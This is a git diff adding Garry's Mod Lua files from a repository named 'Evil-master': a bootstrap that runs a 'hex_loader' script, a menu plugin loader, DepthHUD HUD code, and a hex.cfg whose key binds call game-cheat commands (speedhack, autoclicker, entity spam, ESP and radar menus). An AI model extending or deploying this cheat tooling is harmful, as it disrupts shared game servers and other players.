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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/m2c/m2_HeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/m2c/m2_HeX.lua new file mode 100644 index 0000000..653218b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/m2c/m2_HeX.lua @@ -0,0 +1,35 @@ + + +iface3 = true + + +function _G.HeXInclude(path) + local tmp = "lua/"..path + if file.Exists(tmp,true) then + if m2c then + m2c.RunString( file.Read(tmp, true) ) + else + RunString( file.Read(tmp, true) ) + end + else + print("! gone: ", tmp) + end +end + +if not HeXLoaded then + HeXLoaded = true + _G.HeXInclude("hex_loader.lua") +end + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/menu_plugins/CustomMenuInc.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/menu_plugins/CustomMenuInc.lua new file mode 100644 index 0000000..f22449b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/menu_plugins/CustomMenuInc.lua @@ -0,0 +1,106 @@ + +require("concommand") +require("cvars") + +include("includes/compat.lua") +include("includes/util/model_database.lua") +include("includes/util/vgui_showlayout.lua") +include("includes/util/tooltips.lua") +include("includes/util/client.lua") + + +if not client then --Don't load twice! + require("extras") +end +if not client then + fuckup = true +end + +IsMainGMod = file.Exists("MAIN.lua",true) +IsKida = file.Exists("KIDA.lua",true) + + + +BROWN = Color(128,128,0) +EntityColor = Color(151,211,255) +CMIColor = Color(153,217,234) +BLUE = Color(51,153,255) +WHITE = Color(255,255,255) +PINK = Color(255,175,202) +GREY = Color(196,196,196) +GREEN = Color(182,231,18) +RED = Color(237,16,29) +ADMINRED = Color(255,50,50) +MODGREEN = Color(0,255,0) + +function COLCON(...) + if fuckup then + for k, v in pairs( {...} ) do + if ( type(v) == "string" ) then + Msg(v) + end + end + Msg("\n") + return + end + + local color = WHITE + for k, v in pairs( {...} ) do + if ( type( v ) == "table" && v["b"] && v["g"] && v["r"] ) then + color = v + elseif ( type( v ) == "Player" and IsValid( v ) ) then + console.PrintColor( team.GetColor( v:Team() ), v:GetName() ) + elseif ( ( type( v ) == "Entity" or type( v ) == "Weapon" or type( v ) == "Vehicle" or type( v ) == "NPC" ) and IsValid( v ) ) then + console.PrintColor( EntityColor, v:GetClass() ) + else + console.PrintColor( color, tostring(v) ) + end + end + console.PrintColor( color, "\n" ) +end +--COLCON = MsgC + + +if not RealTime then RealTime = CurTime end +function StringCheck(str,check) + return tostring(str):sub(1,#check) == check +end + + +local function LoadCMI() + Msg("\n") + COLCON(GREEN, "///////////////////////////////////////") + COLCON(GREEN, "// Custom Menu Inc //") + COLCON(GREEN, "///////////////////////////////////////") + + for k,v in pairs( file.FindInLua("custom_menu/ml_B_*.lua") ) do + COLCON( CMIColor, " Loading ", PINK, "Base", WHITE, ": "..v ) + include("custom_menu/"..v) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_H_*.lua") ) do + COLCON( CMIColor, " Loading ", RED, "Script", WHITE, ": "..v ) + include("custom_menu/"..v) + end + + for k,v in pairs( file.FindInLua("custom_menu/ml_*.lua") ) do + if not (v:sub(1,5) == "ml_B_" or v:sub(1,5) == "ml_H_") then + COLCON( CMIColor, " Loading ", GREEN, "Plugin", WHITE, ": "..v ) + include("custom_menu/"..v) + end + end + --[[ + for k,v in pairs( file.FindInLua("skins/*.lua") ) do --include skins + COLCON( CMIColor, " Loading ", GREY, "Skin", WHITE, ": "..v ) + include("skins/"..v) + end + ]] + COLCON(GREEN, "///////////////////////////////////////") + COLCON(GREEN, "// CMI Loaded! //") + COLCON(GREEN, "///////////////////////////////////////") + Msg("\n") +end +concommand.Add("cmi_reload", LoadCMI) +timer.Simple(0, LoadCMI) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/hex.cfg b/Repos/Evil-master/v12/HeXs_Scripts/hex.cfg new file mode 100644 index 0000000..7bb2aa3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/hex.cfg @@ -0,0 +1,30 @@ + + +bind "0" "bot_mimic 1; sv_password beta" +bind "b" "buddha" +bind "g" "stopsounds" +bind "i" "sv_cheats 1" +bind "j" "super_flashlight" +bind "k" "kill" +bind "l" "+listgest" +bind "m" "fspectate" +bind "n" "impulse 101" +bind "t" "togglefray" +bind "[" "ulx ent weapon_slam" +bind "]" "ulx ent npc_tripmine" +bind "," "bind mwheelup invprev; bind mwheeldown invnext" +bind "." "unbind mwheelup;unbind mwheeldown" +bind "\" "+fzoom" +bind "HOME" "firstperson" +bind "END" "thirdperson" +bind "UPARROW" "hex_speedhack" +bind "LEFTARROW" "hex_autoclicker" +bind "DOWNARROW" "hex_spam_sent" +bind "RIGHTARROW" "hex_spam_swep" +bind "F2" "FESPConfig" +bind "F3" "+fsa_menu" +bind "F6" "dhinline_menu" +bind "F7" "dhradar_menu" +bind "F8" "mt_next" +bind "F10" "disconnect" + diff --git a/Repos/HeXs_DepthHUD-master/Desktop.ini b/Repos/HeXs_DepthHUD-master/Desktop.ini new file mode 100644 index 0000000..839ac60 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/Desktop.ini @@ -0,0 +1,3 @@ +[.ShellClassInfo] +IconFile=icon.ico +IconIndex=0 diff --git a/Repos/HeXs_DepthHUD-master/addon.txt b/Repos/HeXs_DepthHUD-master/addon.txt new file mode 100644 index 0000000..04c3df0 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/addon.txt @@ -0,0 +1,20 @@ +"AddonInfo" +{ + "name" "Depth HUD Inline SVN" + "version" "SVN" + "up_date" "31th July 2009" + "author_name" "Hurricaaane" + "author_url" "http://www.youtube.com/user/Hurricaaane" + + "info" "The classic DepthHUD, remade." + + // + // !!!!! This is important !!!!! + // + // If you are adding new stuff this should be 0 + // If you're overriding stuff that already exists this should be 1 + // Loadtimes will increase slightly with every addon you have with + // this set to 1 - so only set override if you really need to. + + "override" "0" +} \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/data/depthhud_inline.txt b/Repos/HeXs_DepthHUD-master/data/depthhud_inline.txt new file mode 100644 index 0000000..5f6e11b --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/data/depthhud_inline.txt @@ -0,0 +1,2 @@ +1.344 +Added Elements: Instant FPS, Crosshair, Update Reminder. - http://www.facepunch.com/showthread.php?p=16504028 \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/dhinline.cfg b/Repos/HeXs_DepthHUD-master/dhinline.cfg new file mode 100644 index 0000000..33d4b11 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/dhinline.cfg @@ -0,0 +1,77 @@ +dhinline_enable 1 +dhinline_disabledefault 1 +dhinline_ui_blendfonts 1 +dhinline_ui_spacing 1 +dhinline_ui_hudlag_mul 2 +dhinline_ui_hudlag_retab 0.200000 +dhinline_ui_dynamicbackground 1 +dhinline_ui_drawglow 1 +dhinline_col_base_r 0 +dhinline_col_base_g 255 +dhinline_col_base_b 255 +dhinline_col_base_a 255 +dhinline_col_back_r 0 +dhinline_col_back_g 0 +dhinline_col_back_b 0 +dhinline_col_back_a 126 +dhinline_element_ammo 1 +dhinline_element_ammo_x 15 +dhinline_element_ammo_y 16 +dhinline_element_ammo_sec 1 +dhinline_element_ammo_sec_x 16 +dhinline_element_ammo_sec_y 16 +dhinline_element_armor 1 +dhinline_element_armor_x 1 +dhinline_element_armor_y 16 +dhinline_element_clock_12 0 +dhinline_element_clock_12_x 8 +dhinline_element_clock_12_y 0 +dhinline_element_clock_24 0 +dhinline_element_clock_24_x 8 +dhinline_element_clock_24_y 0 +dhinline_element_compass 0 +dhinline_element_compass_x 8 +dhinline_element_compass_y 0 +dhinline_element_crosshair_linebow 0 +dhinline_element_crosshair_linebow_x 8 +dhinline_element_crosshair_linebow_y 6 +dhinline_element_framerate 0 +dhinline_element_framerate_x 0 +dhinline_element_framerate_y 0 +dhinline_element_framerate_fast 0 +dhinline_element_framerate_fast_x 0 +dhinline_element_framerate_fast_y 0 +dhinline_element_health 1 +dhinline_element_health_x 0 +dhinline_element_health_y 16 +dhinline_element_info_target 1 +dhinline_element_info_target_x 8 +dhinline_element_info_target_y 10 +dhinline_element_ping 1 +dhinline_element_ping_x 8 +dhinline_element_ping_y 16 +dhinline_element_team 0 +dhinline_element_team_x 0 +dhinline_element_team_y 16 +dhinline_element_vehiclespeed 1 +dhinline_element_vehiclespeed_x 14 +dhinline_element_vehiclespeed_y 0 +dhinline_element_vehiclespeed_kmh 0 +dhinline_element_vehiclespeed_kmh_x 16 +dhinline_element_vehiclespeed_kmh_y 0 +dhinline_element_witnesses 1 +dhinline_element_witnesses_x 8 +dhinline_element_witnesses_y 6 +dhinline_element_z_updatereminder 0 +dhinline_element_z_updatereminder_x 8 +dhinline_element_z_updatereminder_y 15 +depthhud_unit MPH +depthhud_hudlag 0.060000 +depthhud_reportseconds 1.400000 +depthhud_hourformat 0 +depthhud_showping 0 +depthhud_healthisteam 1 +depthhud_global_r 0 +depthhud_global_g 255 +depthhud_global_b 0 + diff --git a/Repos/HeXs_DepthHUD-master/icon.ico b/Repos/HeXs_DepthHUD-master/icon.ico new file mode 100644 index 0000000000000000000000000000000000000000..39104ed64e1039fd63e6fc0b7bedab89902f0c71 GIT binary patch literal 4286 zcmd5=%THWY9KNQB3rUO%#ad(-W|(0ZhIs+=0t&Riyr0a#(DE)-)Rl?#(N+HfmyIO2 zan*$}v2o`Hds`!Vqt@1_@d<9-yZroqXYQTWD46)@b;t*~_nhSJ-ycr%UE=BZy1$@MTP2O(@wb8`#Lt&4xeg)KM=ZCF7J1>bEqM=9vpq18ZUCA#deCxOM3(bIwxl zL?(;)*;$O9nL%u34)M7(66q|GnOqCmJdy%F%X?{$&!$!X;i+jvCngb2jUgCIATTlt ze6z_=4iG1;V5s5+>$x;=ma;*({miN*gV?IQS=#cS4WA`+8f?>D^ z14=`W$BS;4yQRV5z*AjaIz6KY5-Fuy#!8HlToFT?FCuvHC4`>6gz)w&h&=xqqJkGL ztH1IbdG1w&wqHi@nMfl=RtR`%gTXXZZ7GP zbIF}>2b&vs_`P4C?E%^?;v-`J7)bkv#0S8M_kV?N`?As?bCI|MqcM2H5%diO+jVH= zz$rD*OXLrZParaVR^{;I>(`;(V7!ls&xkw3-D4o_pA(-DH-Sgrx~;q--Vq-S#*@km zRvlChEFU-=dYSnbt&+D`u7JnixY3&PZN~eG_?GzY7)blq#1{lLKl1j0@`U(O>L8x7 za$tE;`Jhz;y|TQbi+9C8;-@EebZ7=+eMt!KPsG77koNBh(fTRS@y-E~#Y!s&%&Fv7 z)Shh*)Or*j`nVT~2iogEdBCaH zR@W83tYaD1`R3o?mm0|Y>6s4lkJlPVl(Vm0=TDx$ z_v}1>+kOAw{i|x@{i|-?0d2c~TK8by5odW%yUJYb|A+VQecpYq^6oop@$PBbi7WCi Mf(QH&&OLJf1^`s~lK=n! literal 0 HcmV?d00001 diff --git a/Repos/HeXs_DepthHUD-master/icon.tga b/Repos/HeXs_DepthHUD-master/icon.tga new file mode 100644 index 0000000000000000000000000000000000000000..12c337fb7661402483c9c79d2816c7d9cb790109 GIT binary patch literal 4140 zcmd5=OK%%h7#)Fx5Rq6xDGhO)ICc`p@hgcRc{E8I+cSQR?bwOa=G_zmtdJ;={s@*8 zk-~-*3xq_)j!o&bh?Egf9s}UPGdzXy)GgopZnM+&lM1)9%xp zAFsyW2lJ(}Rw$RXqFK>P)#`q!wrH2@b=#~r?8?%zLUp-mD>PT^s)P1Br;piKQsZQN zsaCU#m8xAZO`Gv;qgb?!LebXqd0RJ({hV&-IbGMXxtzv68vE{X49E+{0b_zZsIIJ_ zcJ4eD&#&GS(q3CRr~1n{8830D1B?sC2j>TB05yObKnh4cW$DZLc6cS8aMst> z(OBC+W1ZO8#M0*0Zy@iaUHVCX(IT3a4#tzX%qf`LduY&w`;87a$4VT<+2&i`zJTWT z4w^d`e~$}0koM)RZKX@bDIL`BXeci-7i|r!MLQ1#CkMi9Nne?>LA^7&f#lf?CeAD% zv5-YFn?ovRAg$+HFbYTu_$=?GJ(>b6)fYu3oCF)}uC zdQS0<%bduUER>Kcnn;(cm^5o0$g{kc_5|}GT11D8ADz0R!5@yoHxg1Bdi??P^!r*G zJRUsW-EGk`Rwy;8bjw(YF`h4Bbo)7kFFudRQ}B;=o?}nHgvjm- z2tRpA^^cnk<|B*f?0iSVV0;XI=D$BU0`K4;JOh68^z}PAu*~L)B{`Se33s@;g$LgG z8QL{KyGeXN92^5_f1h{{xc}W>FtmGFX^^={+~J7?0?`--M#G&tv~u8;8dzoWho@%{ zn?I{^c=DC2(5^GyE#hP1Gvf1OAnl(J9}+i!hhM*~ydvHaAB`l_$_q{%R1O>;cs!QL z{EJq}TOwb?Bd=a>&G|OteMx*ne0vO}{VU>Af|?(C^H6z0d?|GhPdPboyr_K8s)1Em zU9-fy;vezTqk9%Ko3Xwig!f0{@EAz@cZ6vD2_Efax3d$kn2!t&_5hh zYe8zjbzoIj*DcAFcwPK`V*iGUqvrHIV;&Jd{Rw_x`_}~P(Dn9_iX&@6tq1z*P7T^V z 90 then + dhinline_dat.ui_hudlag.la.y = dhinline_dat.ui_hudlag.la.y + 360 + elseif dhinline_dat.ui_hudlag.la.y > 90 and dhinline_dat.ui_hudlag.ca.y < -90 then + dhinline_dat.ui_hudlag.la.y = dhinline_dat.ui_hudlag.la.y - 360 + end + */ + + local targetX = math.AngleDifference(dhinline_dat.ui_hudlag.ca.y , dhinline_dat.ui_hudlag.la.y)*dhinline_dat.ui_hudlag.mul + local targetY = -math.AngleDifference(dhinline_dat.ui_hudlag.ca.p , dhinline_dat.ui_hudlag.la.p)*dhinline_dat.ui_hudlag.mul + + //print(x,y) + + dhinline_dat.ui_hudlag.x = dhinline_dat.ui_hudlag.x + (targetX - dhinline_dat.ui_hudlag.x) * math.Clamp(dhinline_dat.ui_hudlag.retab * 0.5 * FrameTime() * 50 , 0 , 1 ) + dhinline_dat.ui_hudlag.y = dhinline_dat.ui_hudlag.y + (targetY - dhinline_dat.ui_hudlag.y) * math.Clamp(dhinline_dat.ui_hudlag.retab * 0.5 * FrameTime() * 50 , 0 , 1 ) + + /* + dhinline_dat.ui_hudlag.x = (dhinline_dat.ui_hudlag.ca.y - dhinline_dat.ui_hudlag.la.y)*3*dhinline_dat.ui_hudlag_rate + dhinline_dat.ui_hudlag.y = (dhinline_dat.ui_hudlag.la.p - dhinline_dat.ui_hudlag.ca.p)*3*dhinline_dat.ui_hudlag_rate + dhinline_dat.ui_hudlag.nm = .1 + dhinline_dat.ui_hudlag.na = Angle((dhinline_dat.ui_hudlag.ca.p*dhinline_dat.ui_hudlag.nm+dhinline_dat.ui_hudlag.la.p)/(dhinline_dat.ui_hudlag.nm+1),(dhinline_dat.ui_hudlag.ca.y*dhinline_dat.ui_hudlag.nm+dhinline_dat.ui_hudlag.la.y)/(dhinline_dat.ui_hudlag.nm+1)) + */ + + PARAM_HUDLAG_LastAng = EyeAngles() +end + + +/* +local function dhinline_CalcHudLag( ) + //Code taken from the old DepthHUD, + //which is itself taken from NightEagle's code, + //the Compass is also his code. + + dhinline_dat.ui_hudlag.la = PARAM_HUDLAG_LastAng + dhinline_dat.ui_hudlag.ca = EyeAngles() + + if dhinline_dat.ui_hudlag.la.y < -90 and dhinline_dat.ui_hudlag.ca.y > 90 then + dhinline_dat.ui_hudlag.la.y = dhinline_dat.ui_hudlag.la.y + 360 + elseif dhinline_dat.ui_hudlag.la.y > 90 and dhinline_dat.ui_hudlag.ca.y < -90 then + dhinline_dat.ui_hudlag.la.y = dhinline_dat.ui_hudlag.la.y - 360 + end + + dhinline_dat.ui_hudlag.x = (dhinline_dat.ui_hudlag.ca.y - dhinline_dat.ui_hudlag.la.y)*3*dhinline_dat.ui_hudlag_rate + dhinline_dat.ui_hudlag.y = (dhinline_dat.ui_hudlag.la.p - dhinline_dat.ui_hudlag.ca.p)*3*dhinline_dat.ui_hudlag_rate + dhinline_dat.ui_hudlag.nm = .1 + dhinline_dat.ui_hudlag.na = Angle((dhinline_dat.ui_hudlag.ca.p*dhinline_dat.ui_hudlag.nm+dhinline_dat.ui_hudlag.la.p)/(dhinline_dat.ui_hudlag.nm+1),(dhinline_dat.ui_hudlag.ca.y*dhinline_dat.ui_hudlag.nm+dhinline_dat.ui_hudlag.la.y)/(dhinline_dat.ui_hudlag.nm+1)) + + PARAM_HUDLAG_LastAng = dhinline_dat.ui_hudlag.na +end +*/ + +function dhinline_GetGridDivideMax() + return PARAM_GRID_DIVIDE +end + +function dhinline_GetGenericBoxSizes() + return dhinline_dat.ui_rectLen, dhinline_dat.ui_rectHeight +end + +function dhinline_GetRelPosFromGrid( xGrid, yGrid ) + local max = dhinline_GetGridDivideMax() + local xRel, yRel = (xGrid / max), (yGrid / max) + + return xRel, yRel +end + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// USEFUL FUNCTIONS FOR USER . + +function dhinline_GetStyleData( stringPredefName ) + if stringPredefName == "color_base" then return dhinline_dat.ui_basecolor + elseif stringPredefName == "color_base_lesser" then return dhinline_dat.ui_basecolor_lesser + elseif stringPredefName == "color_back" then return dhinline_dat.ui_backcolor + else return nil end +end + +function dhinline_StringNiceNameTransform( stringInput ) + local stringParts = string.Explode("_",stringInput) + local stringOutput = "" + for k,part in pairs(stringParts) do + local len = string.len(part) + if (len == 1) then + stringOutput = stringOutput .. string.upper(part) + elseif (len > 1) then + stringOutput = stringOutput .. string.Left(string.upper(part),1) .. string.Right(part,len-1) + end + if (k != #stringParts) then stringOutput = stringOutput .. " " end + end + return stringOutput +end + +function dhinline_GetAppropriateFont(text, desiredChoice) + local font = "" + desiredChoice = desiredChoice or 2 + if (desiredChoice == -1) then + if type(text) == "number" then + font = "dhinline_hl2nummedium" + else + font = "dhinline_textmediumbold" + end + elseif (desiredChoice >= 2) then + if type(text) == "number" then + font = "dhinline_hl2num" + else + font = "dhinline_textlarge" + end + + elseif (desiredChoice == 1) then + if type(text) == "number" then + font = "dhinline_hl2nummedium" + else + font = "dhinline_textmedium" + end + else + if type(text) == "number" then + font = "dhinline_hl2numsmall" + else + font = "dhinline_textsmall" + end + end + if (dhinline_dat.ui_blendfonts <= 0) then + font = font .. "_noblend" + end + return font +end + +/////////////////////////////////////////////////////////////////////////// +/////////////////////////////////////////////////////////////////////////// +//// DRAWING FUNCTIONS. DO NOT USE IN YOUR ELEMENTS. +//// READ cl_dhinline_element.lua FOR DRAWING FUNCTIONS +//// AND _empty._lua . + +function dhinline_DrawSprite(sprite, x, y, width, height, angle, r, g, b, a) + local spriteid = 0 + if ( type(sprite) == "string" ) then + spriteid = surface.GetTextureID(sprite) + else + spriteid = sprite + end + + surface.SetTexture(spriteid) + surface.SetDrawColor(r, g, b, a) + surface.DrawTexturedRectRotated(x, y, width, height, angle) +end + +//The font changes if the text is a number or not. +//If it is a number, it will take the best version of the font, that is the HL2 one. +//If not, it will take a similar, lesser quality version, that allows alphabetical characters. + +function dhinline_DrawGenericInfobox(xRel, yRel, width, height, text, smallText, rate, boxIsAtRight, falseColor, trueColor, minSize, maxSize, blinkBelowRate, blinkSize, mainFontChoice, useStaticTextColor, opt_textColor, opt_smallTextColor) + local dispell = nil + + //We have to calccenter using the real sizes despite dispell will be true or not + local xCenter,yCenter = dhinline_CalcCenter( xRel , yRel , width , height ) + //Should Dispell? + if (blinkSize > 1.0) then + dispell = math.Clamp(blinkSize - 1.0, 0, 1) + + if dispell > 0.95 then return end + + width = (1.0 + dispell*0.5) * width + height = (1.0 + dispell*0.5) * height + + blinkSize = -1 + end + local inEdgeSpacing = math.floor((height * (1 - dhinline_dat.ui_innerSquareProportions)) * 0.5) + local innerSquare = height * dhinline_dat.ui_innerSquareProportions + local xBox ,yBox = 0,0 + local xText,yText = 0,0 + local yTextSmall = 0 + local font = "" + local fontSmall = "" + local boxSize = -1 + local boxRound = -1 + local boxRevert = -1 + local backColor = dhinline_dat.ui_backcolor + local glowalpha = -1 + + //dhradar_DrawDebug(xCenter, yCenter, Color(255,0,0)) + + local boxBigSizeCalc = (height/44) + if boxBigSizeCalc <= 0.75 && boxBigSizeCalc > 0.5 then + boxRound = 6 + elseif boxBigSizeCalc <= 0.5 && boxBigSizeCalc > 0.25 then + boxRound = 4 + elseif boxBigSizeCalc <= 0.25 then + boxRound = 0 + else + boxRound = 8 + end + + //Back color + dhinline_dat.STOR_BackCalc.r = backColor.r + dhinline_dat.STOR_BackCalc.g = backColor.g + dhinline_dat.STOR_BackCalc.b = backColor.b + dhinline_dat.STOR_BackCalc.a = backColor.a + if dispell then + dhinline_dat.STOR_BackCalc.a = dhinline_dat.STOR_BackCalc.a * (1 - dispell) + end + + draw.RoundedBox(boxRound, dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_BOX + xCenter - width*0.5, dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_BOX + yCenter - height*0.5, width, height, dhinline_dat.STOR_BackCalc) + + rate = math.Clamp(rate,0,1) + local anti = 1 - rate + + trueColor = trueColor or dhinline_dat.ui_basecolor_lesser + falseColor = falseColor or dhinline_dat.ui_basecolor_lesser + + //BlendColor + dhinline_dat.STOR_BlendCalc.r = trueColor.r*rate + falseColor.r*anti + dhinline_dat.STOR_BlendCalc.g = trueColor.g*rate + falseColor.g*anti + dhinline_dat.STOR_BlendCalc.b = trueColor.b*rate + falseColor.b*anti + dhinline_dat.STOR_BlendCalc.a = trueColor.a*rate + falseColor.a*anti + + if dispell then + dhinline_dat.STOR_BlendCalc.a = dhinline_dat.STOR_BlendCalc.a * (1 - dispell) + end + + yBox = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_INBOX + yCenter - height*0.5 + inEdgeSpacing + yText = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter - height*0.02 + yTextSmall = dhinline_dat.ui_hudlag.y*PARAM_HUDLAG_TEXT + yCenter/* + height*0.15*/ + height*0.40 + + if not boxIsAtRight then + xBox = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_INBOX + xCenter - width*0.5 + inEdgeSpacing + xText = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_TEXT + xCenter + height*0.5 + else + xBox = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_INBOX + xCenter + width*0.5 - inEdgeSpacing - innerSquare + xText = dhinline_dat.ui_hudlag.x*PARAM_HUDLAG_TEXT + xCenter - height*0.5 + end + + if (rate <= blinkBelowRate) then + dhinline_dat.STOR_BlendCalc.a = dhinline_dat.STOR_BlendCalc.a * (RealTime() % PARAM_BLINK_PERIOD) * (1/PARAM_BLINK_PERIOD) + boxSize = blinkSize + else + boxSize = maxSize*rate + minSize*anti + end + local boxSizeCalc = boxSize*(innerSquare/32) + if boxSizeCalc <= 0.75 && boxSizeCalc > 0.5 then + boxRound = 6 + elseif boxSizeCalc <= 0.5 && boxSizeCalc > 0.25 then + boxRound = 4 + elseif boxSizeCalc <= 0.25 then + boxRound = 0 + else + boxRound = 8 + end + boxRevert = (innerSquare - boxSize*innerSquare)*0.5 + + draw.RoundedBox(boxRound, xBox+boxRevert, yBox+boxRevert, boxSize*innerSquare, boxSize*innerSquare, dhinline_dat.STOR_BlendCalc) + if (dhinline_dat.ui_drawglow > 0) then + glowalpha = dhinline_dat.ui_glowalpharel*(dhinline_dat.STOR_BlendCalc.a/255) + dhinline_DrawSprite(dhinline_dat.tex_glow, xBox+innerSquare*0.5, yBox+innerSquare*0.5, boxSize*innerSquare*dhinline_dat.ui_glowrelsize, boxSize*innerSquare*dhinline_dat.ui_glowrelsize, 0, dhinline_dat.STOR_BlendCalc.r*glowalpha, dhinline_dat.STOR_BlendCalc.g*glowalpha, dhinline_dat.STOR_BlendCalc.b*glowalpha, 255) + end + + local textColor = opt_textColor or dhinline_dat.ui_basecolor + local textColorSmall = opt_smallTextColor or textColor + if useStaticTextColor or false then + //textColor + dhinline_dat.STOR_TextColorCalc.r = textColor.r + dhinline_dat.STOR_TextColorCalc.g = textColor.g + dhinline_dat.STOR_TextColorCalc.b = textColor.b + dhinline_dat.STOR_TextColorCalc.a = textColor.a + + //textSmallColor + dhinline_dat.STOR_TextSmallColCalc.r = textColorSmall.r + dhinline_dat.STOR_TextSmallColCalc.g = textColorSmall.g + dhinline_dat.STOR_TextSmallColCalc.b = textColorSmall.b + dhinline_dat.STOR_TextSmallColCalc.a = textColorSmall.a + + textColor = dhinline_dat.STOR_TextColorCalc + textColorSmall = dhinline_dat.STOR_TextSmallColCalc + else + //textColor + dhinline_dat.STOR_TextColorCalc.r = dhinline_dat.STOR_BlendCalc.r + dhinline_dat.STOR_TextColorCalc.g = dhinline_dat.STOR_BlendCalc.g + dhinline_dat.STOR_TextColorCalc.b = dhinline_dat.STOR_BlendCalc.b + dhinline_dat.STOR_TextColorCalc.a = 192 + + //textSmallColor + dhinline_dat.STOR_TextSmallColCalc.r = dhinline_dat.STOR_TextColorCalc.r + dhinline_dat.STOR_TextSmallColCalc.g = dhinline_dat.STOR_TextColorCalc.g + dhinline_dat.STOR_TextSmallColCalc.b = dhinline_dat.STOR_TextColorCalc.b + dhinline_dat.STOR_TextSmallColCalc.a = dhinline_dat.STOR_TextColorCalc.a + + textColor = dhinline_dat.STOR_TextColorCalc + textColorSmall = dhinline_dat.STOR_TextSmallColCalc + end + + if dispell then + textColor.a = textColor.a * (1 - dispell) + textColorSmall.a = textColorSmall.a * (1 - dispell) + end + + font = dhinline_GetAppropriateFont(text, mainFontChoice) + draw.SimpleText(text, font, xText, yText, textColor, 1, 1 ) + + if (smallText != 